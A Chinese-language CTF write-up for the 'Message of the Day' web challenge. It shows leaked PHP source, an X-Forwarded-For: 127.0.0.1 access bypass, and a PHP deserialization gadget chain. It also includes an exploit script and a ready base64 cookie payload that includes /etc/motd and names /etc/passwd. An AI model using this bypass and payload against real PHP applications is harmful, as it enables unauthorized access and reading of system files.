WEB-InfoSecCTF2022-Message of the day

Message of the Day

題目首頁顯示 You are not allowed to access.
先用dirsearch爆破目錄

發現backup.zip
裡面有三個檔案 client.php read.php index.php

• index.php

  <?php
  
  	include('client.php');
  
  	function getIP()
  	{
  	    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
  	    {
  	      $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];
  	    }
  	    else
  	    {
  	      $ip=$_SERVER['REMOTE_ADDR'];
  	    }
  	    return $ip;
  	}
  
  	if (getIP() == '127.0.0.1') {
  		if (!isset($_COOKIE['client'])) {
  			setcookie("client", base64_encode(serialize(new Client('Guest'))));
  		} else {
  			unserialize(base64_decode($_COOKIE['client']));
  		}
  	}
  	else {
  		header('HTTP/1.0 403 Forbidden');
      	die('You are not allowed to access.');
  	}
  ?>

• read.php

  <?php
  	class Read {
  		
  		// Still in development phase
  
  		private $file_name;
  
  		public function print($val) {
  			include($this->file_name);
  			echo $val;
  		}
  	}
  ?>

• client.php

  <?php
  	include('read.php');
  
  	class Client {
  
  		private $name;
  		private $tmp;
  
  		function __construct($name) {
  			$this->name = $name;
  			$this->tmp = new Message();
  		}
  
  		function __destruct() {
  			$this->tmp->print($this->name);
  		}
  	}
  
  	class Message {
  
  		public function print($val) {
  			echo "Tigers and bears may be stronger predators, but wolves don't perform in circus, ". $val ."!";
  		}
  
  	}
  
  ?>

拿到三個文件的source code
首先會利用$_SERVER['HTTP_X_FORWARDED_FOR'] 抓取使用者
使用者可控的header都不安全
可用X-Forwarded-For: 127.0.0.1 繞過

接著會對cookie裡面的內容做反序列化
unserialize(base64_decode($_COOKIE['client']));

會call Message的Print function
可改成read的print 並將file_name改成要include的檔案

• exp.php

  <?php
  
  class Read {
  		
      private $file_name = '/etc/motd';
  
      public function print($val) {
          include($this->file_name);
          echo $val;
      }
  }
  
  class Client {
  
      private $name;
      private $tmp;
  
      function __construct($name) {
          $this->name = $name;
          $this->tmp = new Read();
      }
  
      function __destruct() {
          $this->tmp->print($this->name);
      }
  
  }
  
  class Message {
  
      public function print($val) {
          echo "Tigers and bears may be stronger predators, but wolves don't perform in circus, ". $val ."!";
      }
  
  }
  
  $test = new Client('/etc/passwd');
  
  $y = base64_encode(serialize($test));
  echo $y;
  
  ?>

• requests get flag

  根據題意 推測為motd指令 將payload file_name給/etc/motd
  Cookie: client=Tzo2OiJDbGllbnQiOjI6e3M6MTI6IgBDbGllbnQAbmFtZSI7czoxMToiL2V0Yy9wYXNzd2QiO3M6MTE6IgBDbGllbnQAdG1wIjtPOjQ6IlJlYWQiOjE6e3M6MTU6IgBSZWFkAGZpbGVfbmFtZSI7czo5OiIvZXRjL21vdGQiO319
  
  X-Forwarded-For: 127.0.0.1